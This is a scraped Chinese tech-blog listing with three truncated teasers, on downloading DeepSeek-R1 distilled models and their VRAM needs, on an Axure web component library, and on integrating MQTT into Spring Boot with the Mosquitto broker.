deepseek Github 地址&#xff1a;https://github.com/deepseek-ai/DeepSeek-R1 在Github中我们看到这样的图片&#xff0c;模型参数等都可以通过HuggingFace下载&#xff0c;DeepSeek-R1-Distill-Qwen-参数量&#xff0c;参数量越大&#xff0c;对显存的要求更高 我们以参数量…

SpringUI Web高端动态交互元件库

Axure Web高端动态交互元件库是一个专为Web设计与开发领域设计的高质量资源集合&#xff0c;旨在加速原型设计和开发流程。以下是关于这个元件库的详细介绍&#xff1a; 一、概述 Axure Web高端动态交互元件库是一个集成了多种预制、高质量交互组件的工具集合。这些组件经过精…

Spring Boot整合MQTT

MQTT是基于代理的轻量级的消息发布订阅传输协议。 1、下载安装代理 进入mosquitto下载地址&#xff1a;Download | Eclipse Mosquitto&#xff0c;进行下载&#xff0c;以win版本为例 下载完成后&#xff0c;在本地文件夹找到下载的代理安装文件 使用管理员身份打开安装 安装…